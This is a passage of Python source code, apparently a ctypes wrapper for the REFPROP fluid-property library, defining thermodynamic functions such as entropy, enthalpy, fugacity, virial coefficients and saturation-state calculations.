Fpv--sqrt[Z(60 F, 14.73 psia)/Z(T,P)].'''\n #odd either t, d or t, p should be sufficient?\n _inputerrorcheck(locals())\n _t.value = t\n _D.value = D\n _p.value = p\n for each in range(len(x)): _x[each] = x[each]\n \n _rpfpv_(byref(_t), byref(_D), byref(_p), _x, byref(_Fpv))\n \n return _prop(x = x, D = D, t = t, p = p, Fpv = _Fpv.value)\n\n\ndef chempot(t, D, x):\n '''Compute the chemical potentials for each of the nc components of a\n mixture\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n u--array (1..nc) of the chemical potentials [J/mol].'''\n _inputerrorcheck(locals())\n\n _t.value = t\n _D.value = D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpchempot_(byref(_t), byref(_D), _x, _u, byref(_ierr), byref(_herr),\n c_long(255))\n \n return _prop(x = x, D = D, t = t, ierr = _ierr.value, herr = _herr.value,\n u = [_u[each] for each in range(_nc_rec.record)], defname = 'chempot')\n \n\ndef purefld(icomp=0):\n '''Change the standard mixture setup so that the properties of one fluid\n can be calculated as if SETUP had been called for a pure fluid. Calling\n this routine will disable all mixture calculations. To reset the mixture\n setup, call this routine with icomp=0.\n\n inputs:\n icomp--fluid number in a mixture to use as a pure fluid'''\n global _purefld_rec\n\n _inputerrorcheck(locals())\n\n #define setup record for FluidModel\n if icomp != 0:\n _purefld_rec = _Setuprecord(copy(locals()), '_purefld_rec')\n else:\n #del record\n if '_purefld_rec' in _Setuprecord.object_list:\n _purefld_rec = None\n\n _icomp.value = icomp\n \n _rppurefld_(byref(_icomp))\n\n return _prop(fixicomp = icomp)\n \n \ndef _name(icomp=1):\n _inputerrorcheck(locals())\n _icomp.value = icomp\n \n _rpname_(byref(_icomp), byref(_hname), byref(_hn80), byref(_hcas),\n c_long(12), c_long(80), c_long(12))\n \n return _hname.value.decode('utf-8').strip().upper() \n \n\ndef name(icomp=1):\n '''Provides name information for specified component\n\n input:\n icomp--component number in mixture; 1 for pure fluid\n outputs:\n hname--component name [character*12]\n hn80--component name--long form [character*80]\n hcas--CAS (Chemical Abstracts Service) number [character*12]'''\n _inputerrorcheck(locals())\n _icomp.value = icomp\n\n _rpname_(byref(_icomp), byref(_hname), byref(_hn80), byref(_hcas),\n c_long(12), c_long(80), c_long(12))\n \n return _prop(icomp = icomp,\n hname = _hname.value.decode('utf-8').strip().upper(),\n hn80 = _hn80.value.decode('utf-8').strip().upper(),\n hcas = _hcas.value.decode('utf-8').strip().upper())\n \n\ndef entro(t, D, x):\n '''Compute entropy as a function of temperature, density and composition\n using core functions (temperature derivative of Helmholtz free energy\n and ideal gas integrals)\n\n based on derivations in Younglove & McLinden, JPCRD 23 #5, 1994,\n equations A5, A19 - A26\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n s--entropy [J/mol-K]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpentro_(byref(_t), byref(_D), _x, byref(_s))\n \n return _prop(x = x, D = D, t = t, s = _s.value)\n \n\ndef enthal(t, D, x):\n '''Compute enthalpy as a function of temperature, density, and\n composition using core functions (Helmholtz free energy and ideal gas\n integrals)\n\n based on derivations in Younglove & McLinden, JPCRD 23 #5, 1994,\n equations A7, A18, A19\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n h--enthalpy [J/mol]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpenthal_(byref(_t), byref(_D), _x, byref(_h))\n \n return _prop(x = x, D = D, t = t, h = _h.value)\n\n\ndef cvcp(t, D, x):\n '''Compute isochoric (constant volume) and isobaric (constant pressure)\n heat capacity as functions of temperature, density, and composition\n using core functions\n\n based on derivations in Younglove & McLinden, JPCRD 23 #5, 1994,\n equation A15, A16\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n cv--isochoric heat capacity [J/mol-K]\n cp--isobaric heat capacity [J/mol-K]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpcvcp_(byref(_t), byref(_D), _x, byref(_cv), byref(_cp))\n \n return _prop(x = x, D = D, t = t, cv = _cv.value, cp = _cp.value)\n\n\ndef cvcpk(icomp, t, D):\n '''Compute isochoric (constant volume) and isobaric (constant pressure)\n heat capacity as functions of temperature for a given component.\n\n analogous to CVCP, except for component icomp, this is used by transport\n routines to calculate Cv & Cp for the reference fluid (component zero)\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n D--molar density [mol/L]\n outputs:\n cv--isochoric heat capacity [J/mol-K]\n cp--isobaric heat capacity [J/mol-K]'''\n _inputerrorcheck(locals())\n _icomp.value, _t.value, _D.value = icomp, t, D\n \n _rpcvcpk_(byref(_icomp), byref(_t), byref(_D), byref(_cv), byref(_cp))\n \n return _prop(icomp = icomp, D = D, t = t, cv = _cv.value, cp = _cp.value)\n\n\ndef gibbs(t, D, x):\n '''Compute residual Helmholtz and Gibbs free energy as a function of\n temperature, density, and composition using core functions\n\n N.B. The quantity calculated is\n\n G(T, D) - G0(T, P*) = G(T, D) - G0(T, D) + RTln(RTD/P*)\n where G0 is the ideal gas state and P* is a reference pressure which\n is equal to the current pressure of interest. Since Gr is used only\n as a difference in phase equilibria calculations where the\n temperature and pressure of the phases are equal, the (RT/P*) part of\n the log term will cancel and is omitted.\n\n \"normal\" (not residual) A and G are computed by subroutine AG\n\n based on derivations in Younglove & McLinden, JPCRD 23 #5, 1994,\n equations A8 - A12\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n Ar--residual Helmholtz free energy [J/mol]\n Gr--residual Gibbs free energy [J/mol]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpgibbs_(byref(_t), byref(_D), _x, byref(_Ar), byref(_Gr))\n\n return _prop(x = x, D = D, t = t, Ar = _Ar.value, Gr = _Gr.value)\n\n\ndef ag(t, D, x):\n '''Ccompute Helmholtz and Gibbs energies as a function of temperature,\n density, and composition.\n\n N.B. These are not residual values (those are calculated by GIBBS).\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n A--Helmholtz energy [J/mol]\n G--Gibbs free energy [J/mol]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpag_(byref(_t), byref(_D), _x, byref(_A), byref(_G))\n \n return _prop(x = x, D = D, t = t, A = _A.value, G = _G.value)\n \n\ndef press(t, D, x):\n '''Compute pressure as a function of temperature, density, and\n composition using core functions\n\n direct implementation of core function of corresponding model\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n p--pressure [kPa]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rppress_(byref(_t), byref(_D), _x, byref(_p))\n\n return _prop(x = x, D = D, t = t, p = _p.value)\n\n\ndef dpdd(t, D, x):\n '''Compute partial derivative of pressure w.r.t. density at constant\n temperature as a function of temperature, density, and composition\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n dpdD--dP/dD [kPa-L/mol]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdpdd_(byref(_t), byref(_D), _x, byref(_dpdD))\n \n return _prop(x = x, D = D, t = t, dpdD = _dpdD.value)\n \n \ndef dpddk(icomp, t, D):\n '''Compute partial derivative of pressure w.r.t. density at constant\n temperature as a function of temperature and density for a specified\n component\n\n analogous to dpdd, except for component icomp, this is used by transport\n routines to calculate dP/dD for the reference fluid (component zero)\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n D--molar density [mol/L]\n output:\n dpdD--dP/dD [kPa-L/mol]'''\n _inputerrorcheck(locals())\n _icomp.value, _t.value, _D.value = icomp, t, D\n \n _rpdpddk_(byref(_icomp), byref(_t), byref(_D), byref(_dpdD))\n \n return _prop(icomp = icomp, D = D, t = t, cv = _dpdD.value)\n \n \ndef dpdd2(t, D, x):\n '''Compute second partial derivative of pressure w.r.t. density at\n const. temperature as a function of temperature, density, and\n composition.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n d2pdD2--d^2P/dD^2 [kPa-L^2/mol^2]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdpdd2_(byref(_t), byref(_D), _x, byref(_d2pdD2))\n \n return _prop(x = x, D = D, t = t, d2pdD2 = _d2pdD2.value)\n\n\ndef dpdt(t, D, x):\n '''Compute partial derivative of pressure w.r.t. temperature at constant\n density as a function of temperature, density, and composition.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n dpdt--dp/dt [kPa/K]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpdpdt_(byref(_t), byref(_D), _x, byref(_dpdt))\n \n return _prop(x = x, D = D, t = t, dpt = _dpdt.value)\n \n\ndef dpdtk(icomp, t, D):\n '''Compute partial derivative of pressure w.r.t. temperature at constant\n density as a function of temperature and density for a specified\n component\n\n analogous to dpdt, except for component icomp, this is used by transport\n routines to calculate dP/dT\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n D--molar density [mol/L]\n output:\n dpdt--dP/dT [kPa/K]'''\n _inputerrorcheck(locals())\n _icomp.value, _t.value, _D.value = icomp, t, D\n\n _rpdpdtk_(byref(_icomp), byref(_t), byref(_D), byref(_dpdt))\n \n return _prop(icomp = icomp, D = D, t = t, dpdt = _dpdt.value)\n \n \ndef dddp(t, D, x):\n '''ompute partial derivative of density w.r.t. pressure at constant\n temperature as a function of temperature, density, and composition.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n dDdp--dD/dP [mol/(L-kPa)]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdddp_(byref(_t), byref(_D), _x, byref(_dDdp))\n\n return _prop(x = x, D = D, t = t, dDdp = _dDdp.value)\n \n\ndef dddt(t, D, x):\n '''Compute partial derivative of density w.r.t. temperature at constant\n pressure as a function of temperature, density, and composition.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n dDdt--dD/dT [mol/(L-K)]; (D)/d(t) = -d(D)/dp x dp/dt = -dp/dt /\n (dp/d(D))'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdddt_(byref(_t), byref(_D), _x, byref(_dDdt))\n \n return _prop(x = x, D = D, t = t, dDdt = _dDdt.value)\n \n \ndef dcdt(t, x):\n '''Compute the 1st derivative of C (C is the third virial coefficient) with\n respect to T as a function of temperature and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n dct--1st derivative of C with respect to T [(L/mol)^2-K]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdcdt_(byref(_t), _x, byref(_dct))\n \n return _prop(x = x, t = t, dct = _dct.value)\n \n \ndef dcdt2(t, x):\n '''Compute the 2nd derivative of C (C is the third virial coefficient) with\n respect to T as a function of temperature and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n dct2--2nd derivative of C with respect to T [(L/mol-K)^2]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpdcdt2_(byref(_t), _x, byref(_dct2))\n \n return _prop(x = x, t = t, dct2 = _dct2.value)\n \n \ndef dhd1(t, D, x):\n '''Compute partial derivatives of enthalpy w.r.t. t, p, or D at constant\n t, p, or D as a function of temperature, density, and composition\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n dhdt_D--dh/dt [J/mol-K]\n dhdt_p--dh/dt [J/mol-K]\n dhdD_t--dh/dD [J-L/mol^2]\n dhdD_p--dh/dD [J-L/mol^2]\n dhdp_t--dh/dt [J/mol-kPa]\n dhdp_D--dh/dt [J/mol-kPA]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpdhd1_(byref(_t), byref(_D), _x, byref(_dhdt_D), byref(_dhdt_p),\n byref(_dhdD_t), byref(_dhdD_p), byref(_dhdp_t), byref(_dhdp_D))\n \n return _prop(x = x, D = D, t = t, dhdt_D = _dhdt_D.value,\n dhdt_p = _dhdt_p.value, dhdD_t = _dhdD_t.value, dhdD_p = _dhdD_p.value,\n dhdp_t = _dhdp_t.value, dhdtp_D = _dhdp_D.value)\n \n \ndef fgcty(t, D, x):\n '''Compute fugacity for each of the nc components of a mixture by\n numerical differentiation (using central differences) of the\n dimensionless residual Helmholtz energy\n\n based on derivations in E.W. Lemmon, MS Thesis, University of Idaho\n (1991); section 3.2\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n output:\n f--array (1..nc) of fugacities [kPa]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpfgcty_(byref(_t), byref(_D), _x, _f)\n\n return _prop(x = x, D = D, t = t,\n f = [_f[each] for each in range(_nc_rec.record)])\n\n\ndef fgcty2(t, D, x):\n '''Compute fugacity for each of the nc components of a mixture by\n analytical differentiation of the dimensionless residual Helmholtz energy.\n\n based on derivations in the GERG-2004 document for natural gas\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n f--array (1..nc) of fugacities [kPa]\n\n fgcty2 does not work proper on either Linux and Windows operating platform'''\n raise RefproproutineError('function \"fgcty2\" unsupported in Linux & Windows')\n #fgcty2 returns value of fgcty and next refprop call is being\n #blocked by ctypes\n #~ _inputerrorcheck(locals())\n #~ _t.value, _D.value = t, D\n #~ for each in range(len(x)): _x[each] = x[each]\n #~\n #~ raise RefproproutineError('function \"fgcty2\" unsupported in Linux')\n\n #~ return _prop(x = x, D = D, t = t, f = [_f[each] for each in range(_nc_rec.record)])\n \n\ndef fugcof(t, D, x):\n '''Compute the fugacity coefficient for each of the nc components of a\n mixture.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n f--array (1..nc) of the fugacity coefficients'''\n _inputerrorcheck(locals())\n\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpfugcof_(byref(_t), byref(_D), _x, _f, byref(_ierr), byref(_herr),\n c_long(255))\n\n return _prop(x = x, D = D, t = t,\n f = [_f[each] for each in range(_nc_rec.record)],\n ierr = _ierr.value, herr = _herr.value, defname = 'fugcof')\n \n \ndef dbdt(t, x):\n '''Compute the 2nd derivative of B (B is the second virial coefficient)\n with respect to T as a function of temperature and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n dbt--2nd derivative of B with respect to T [L/mol-K]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n\n _rpdbdt_(byref(_t), _x, byref(_dbt))\n \n return _prop(x = x, t = t, dbt = _dbt.value)\n \n\ndef virb(t, x):\n '''Compute second virial coefficient as a function of temperature and\n composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n b--second virial coefficient [L/mol]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n\n _rpvirb_(byref(_t), _x, byref(_b))\n\n return _prop(x = x, t = t, b = _b.value)\n \n\ndef virc(t, x):\n '''Compute the third virial coefficient as a function of temperature and\n composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n c--third virial coefficient [(L/mol)^2]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n\n _rpvirc_(byref(_t), _x, byref(_c))\n\n return _prop(x = x, t = t, c = _c.value)\n \n \ndef vird(t, x):\n '''Compute the fourth virial coefficient as a function of temperature\n and composition.\n\n Routine not supported in Windows\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n c--third virial coefficient [(L/mol)^3]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n\n _rpvird_(byref(_t), _x, byref(_d))\n\n return _prop(x = x, t = t, d = _d.value)\n \n\ndef virba (t, x):\n '''Compute second acoustic virial coefficient as a function of temperature\n and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n ba--second acoustic virial coefficient [L/mol]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpvirba_(byref(_t), _x, byref(_ba))\n \n return _prop(x = x, t = t, ba = _ba.value)\n\n\ndef virca(t, x):\n '''Compute third acoustic virial coefficient as a function of temperature\n and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n ca--third acoustic virial coefficient [(L/mol)^2]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpvirca_(byref(_t), _x, byref(_ca))\n \n return _prop(x = x, t = t, ca = _ca.value)\n \n \ndef satt(t, x, kph=2):\n '''Iterate for saturated liquid and vapor states given temperature and\n the composition of one phase\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac] (phase specified by kph)\n kph--phase flag:\n 1 = input x is liquid composition (bubble point)\n 2 = input x is vapor composition (dew point)\n 3 = input x is liquid composition (freezing point)\n 4 = input x is vapor composition (sublimation point)\n outputs:\n p--pressure [kPa]\n Dliq--molar density [mol/L] of saturated liquid\n Dvap--molar density [mol/L] of saturated vapor\n For a pseudo pure fluid, the density of the equilibrium phase is\n not returned. Call SATT twice, once with kph=1 to get pliq and\n Dliq, and once with kph=2 to get pvap and Dvap.\n xliq--liquid phase composition [array of mol frac]\n xvap--vapor phase composition [array of mol frac]'''\n\n _inputerrorcheck(locals())\n _t.value, _kph.value = t, kph\n for each in range(len(x)): _x[each] = x[each]\n\n _rpsatt_(byref(_t), _x, byref(_kph), byref(_p), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_ierr), byref(_herr), c_long(255))\n\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n return _prop(t = t, x = x, kph = kph, p = _p.value, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap, ierr = _ierr.value,\n herr = _herr.value, defname = 'satt')\n\n\ndef satp(p, x, kph=2):\n '''Iterate for saturated liquid and vapor states given pressure and the\n composition of one phase.\n\n inputs:\n p--pressure [kPa]\n x--composition [array of mol frac] (phase specified by kph)\n kph--phase flag:\n 1 = input x is liquid composition (bubble point)\n 2 = input x is vapor composition (dew point)\n 3 = input x is liquid composition (freezing point)\n 4 = input x is vapor composition (sublimation point)\n outputs:\n t--temperature [K]\n Dliq--molar density [mol/L] of saturated liquid\n Dvap--molar density [mol/L] of saturated vapor\n For a pseudo pure fluid, the density of the equilibrium phase is\n not returned. Call SATP twice, once with kph=1 to get tliq and\n Dliq, and once with kph=2 to get tvap and Dvap.\n xliq--liquid phase composition [array of mol frac]\n xvap--vapor phase composition [array of mol frac]'''\n\n _inputerrorcheck(locals())\n _p.value, _kph.value = p, kph\n for each in range(len(x)): _x[each] = x[each]\n \n _rpsatp_(byref(_p), _x, byref(_kph), byref(_t), byref(_Dliq),\n byref(_Dvap), _xliq, _xvap, byref(_ierr), byref(_herr), c_long(255))\n\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n return _prop(p = p, x = x, kph = kph, t = _t.value, Dliq = _Dliq.value,\n Dvap = _Dvap.value, xliq = xliq, xvap = xvap, ierr = _ierr.value,\n herr = _herr.value, defname = 'satp')\n\n\ndef satd(D, x, kph=2):\n '''Iterate for temperature and pressure given a density along the\n saturation boundary and the composition.\n\n inputs:\n D--molar density [mol/L]\n x--composition [array of mol frac]\n kph--flag specifying desired root for multi-valued inputs\n has meaning only for water at temperatures close to its triple\n point -1 = return middle root (between 0 and 4 C) 1 = return\n highest temperature root (above 4 C) 3 = return lowest temperature\n root (along freezing line)\n outputs:\n t--temperature [K]\n p--pressure [kPa]\n Dliq--molar density [mol/L] of saturated liquid\n Dvap--molar density [mol/L] of saturated vapor\n xliq--liquid phase composition [array of mol frac]\n xvap--vapor phase composition [array of mol frac]\n kr--phase flag:\n 1 = input state is liquid\n 2 = input state is vapor in equilibrium with liq\n 3 = input state is liquid in equilibrium with solid\n 4 = input state is vapor in equilibrium with solid\n N.B. kr = 3,4 presently working only for pure components\n\n either (Dliq, xliq) or (Dvap, xvap) will correspond to the input state\n with the other pair corresponding to the other phase in equilibrium with\n the input state'''\n\n _inputerrorcheck(locals())\n _D.value, _kph.value = D, kph\n for each in range(len(x)):\n _x[each] = x[each]\n\n _rpsatd_(byref(_D), _x, byref(_kph), byref(_kr), byref(_t), byref(_p),\n byref(_Dliq), byref(_Dvap), _xliq, _xvap, byref(_ierr),\n byref(_herr), c_long(255))\n\n xliq = normalize([_xliq[each] for each in range(_nc_rec.record)])['x']\n xvap = normalize([_xvap[each] for each in range(_nc_rec.record)])['x']\n if '_purefld_rec' in _Setuprecord.object_list \\\n and len(x) == 1:\n if len(x) != len(xliq):\n xliq = [xliq[_purefld_rec.record['icomp'] - 1]]\n if len(x) != len(xvap):\n xvap = [xvap[_purefld_rec.record['icomp'] - 1]]\n return _prop(D = D, x = x, kph = kph, kr = _kr.value, t = _t.value,\n p = _p.value, Dliq = _Dliq.value, Dvap = _Dvap.value, xliq = xliq,\n xvap = xvap, ierr = _ierr.value, herr = _herr.value, defname = 'satd')\n\n\ndef sath(h, x, kph=2):\n '''Iterate for temperature, pressure, and density given enthalpy along\n the saturation boundary and the composition.\n\n inputs:\n h--molar enthalpy [J/mol]\n x--composition [array of mol frac]\n kph--flag specifying desired root:\n 0 = return all roots along the liquid-vapor line\n 1 = return only liquid VLE root\n 2 = return only vapor VLE roots\n 3 = return liquid SLE root (melting line)\n 4 = return vapor SVE root (sublimation line)\n outputs:\n nroot--number of roots. Set to one for kph=1,3,4 if ierr=0\n k1--phase of first root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t1--temperature of first root [K]\n p1--pressure of first root [kPa]\n D1--molar density of first root [mol/L]\n k2--phase of second root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t2--temperature of second root [K]\n p2--pressure of second root [kPa]\n D2--molar density of second root [mol/L]\n\n The second root is always set as the root in the vapor at temperatures\n below the maximum enthalpy on the vapor saturation line. If kph is set\n to 2, and only one root is found in the vapor (this occurs when h <\n hcrit) the state point will be placed in k2,t2,p2,d2. If kph=0 and this\n situation occurred, the first root (k1,t1,p1,d1) would be in the liquid\n (k1=1, k2=2).\n\n N.B. kph = 3,4 presently working only for pure components'''\n\n _inputerrorcheck(locals())\n _h.value, _kph.value = h, kph\n for each in range(len(x)): _x[each] = x[each]\n \n _rpsath_(byref(_h), _x, byref(_kph), byref(_nroot), byref(_k1),\n byref(_t1), byref(_p1), byref(_D1), byref(_k2), byref(_t2),\n byref(_p2), byref(_D2), byref(_ierr), byref(_herr), c_long(255))\n \n return _prop(h = h, x = x, kph = kph, nroot = _nroot.value, k1 = _k1.value,\n t1 = _t1.value, p1 = _p1.value, D1 = _D1.value, k2 = _k2.value,\n t2 = _t2.value, p2 = _p2.value, D2 = _D2.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'sath')\n \n\ndef sate(e, x, kph=2):\n '''Iterate for temperature, pressure, and density given energy along the\n saturation boundary and the composition.\n\n inputs:\n e--molar energy [J/mol]\n x--composition [array of mol frac]\n kph--flag specifying desired root:\n 0 = return all roots along the liquid-vapor line\n 1 = return only liquid VLE root\n 2 = return only vapor VLE roots\n 3 = return liquid SLE root (melting line)\n 4 = return vapor SVE root (sublimation line)\n outputs:\n nroot--number of roots. Set to one for kph=1,3,4 if ierr=0\n k1--phase of first root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t1--temperature of first root [K]\n p1--pressure of first root [kPa]\n D1--molar density of first root [mol/L]\n k2--phase of second root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t2--temperature of second root [K]\n p2--pressure of second root [kPa]\n D2--molar density of second root [mol/L]\n\n The second root is always set as the root in the vapor at temperatures\n below the maximum energy on the vapor saturation line. If kph is set to\n 2, and only one root is found in the vapor (this occurs when h < hcrit)\n the state point will be placed in k2,t2,p2,d2. If kph=0 and this\n situation occurred, the first root (k1,t1,p1,d1) would be in the liquid\n (k1=1, k2=2).\n\n N.B. kph = 3,4 presently working only for pure components'''\n\n _inputerrorcheck(locals())\n _e.value, _kph.value = e, kph\n for each in range(len(x)): _x[each] = x[each]\n \n _rpsate_(byref(_e), _x, byref(_kph), byref(_nroot), byref(_k1),\n byref(_t1), byref(_p1), byref(_D1),byref(_k2), byref(_t2),\n byref(_p2), byref(_D2), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(e = e, x = x, kph = kph, nroot = _nroot.value, k1 = _k1.value,\n t1 = _t1.value, p1 = _p1.value, D1 = _D1.value, k2 = _k2.value,\n t2 = _t2.value, p2 = _p2.value, D2 = _D2.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'sate')\n \n \ndef sats(s, x, kph=2):\n '''Iterate for temperature, pressure, and density given entropy along\n the saturation boundary and the composition.\n\n inputs:\n s--entrophy [J/(mol K)]\n x--composition [array of mol frac]\n kph--flag specifying desired root:\n 0 = return all roots along the liquid-vapor line\n 1 = return only liquid VLE root\n 2 = return only vapor VLE roots\n 3 = return liquid SLE root (melting line)\n 4 = return vapor SVE root (sublimation line)\n outputs:\n nroot--number of roots. Set to one for kph=1,3,4 if ierr=0\n k1--phase of first root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t1--temperature of first root [K]\n p1--pressure of first root [kPa]\n D1--molar density of first root [mol/L]\n k2--phase of second root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t2--temperature of second root [K]\n p2--pressure of second root [kPa]\n D2--molar density of second root [mol/L]\n k3--phase of third root (1-liquid, 2-vapor, 3-melt, 4-subl)\n t3--temperature of third root [K]\n p3--pressure of third root [kPa]\n D3--molar density of third root [mol/L]\n\n The second root is always set as the root in the vapor at temperatures\n below the maximum energy on the vapor saturation line. If kph is set to\n 2, and only one root is found in the vapor (this occurs when h < hcrit)\n the state point will be placed in k2,t2,p2,d2. If kph=0 and this\n situation occurred, the first root (k1,t1,p1,d1) would be in the liquid\n (k1=1, k2=2).\n\n The third root is the root with the lowest temperature. For fluids with\n multiple roots: When only one root is found in the vapor phase (this\n happens only at very low temperatures past the region where three roots\n are located), the value of the root is still placed in k3,t3,p3,d3. For\n fluids that never have more than one root (when there is no maximum\n entropy along the saturated vapor line), the value of the root is always\n placed in k1,t1,p1,d1.\n\n N.B. kph = 3,4 presently working only for pure components'''\n\n _inputerrorcheck(locals())\n _s.value, _kph.value = s, kph\n for each in range(len(x)): _x[each] = x[each]\n\n _rpsats_(byref(_s), _x, byref(_kph), byref(_nroot), byref(_k1),\n byref(_t1), byref(_p1), byref(_D1), byref(_k2), byref(_t2),\n byref(_p2), byref(_D2), byref(_k3), byref(_t3), byref(_p3),\n byref(_D3), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(s = s, x = x, kph = kph, nroot = _nroot.value, k1 = _k1.value,\n t1 = _t1.value, p1 = _p1.value, D1 = _D1.value, k2 = _k2.value,\n t2 = _t2.value, p2 = _p2.value, D2 = _D2.value, k3 = _k3.value,\n t3 = _t3.value, p3 = _p3.value, D3 = _D3.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'sats')\n \n \ndef csatk(icomp, t, kph=2):\n '''Compute the heat capacity along the saturation line as a function of\n temperature for a given component\n\n csat can be calculated two different ways:\n Csat = Cp - t(DvDt)(DpDtsat)\n Csat = Cp - beta/D*hvap/(vliq - vvap),\n where beta is the volume expansivity\n\n inputs:\n icomp--component number in mixture (1..nc); 1 for pure fluid\n t--temperature [K]\n kph--phase flag:\n 1 = liquid calculation\n 2 = vapor calculation\n outputs:\n p--saturation pressure [kPa]\n D--saturation molar density [mol/L]\n csat--saturation heat capacity [J/mol-K]'''\n\n _inputerrorcheck(locals())\n _icomp.value, 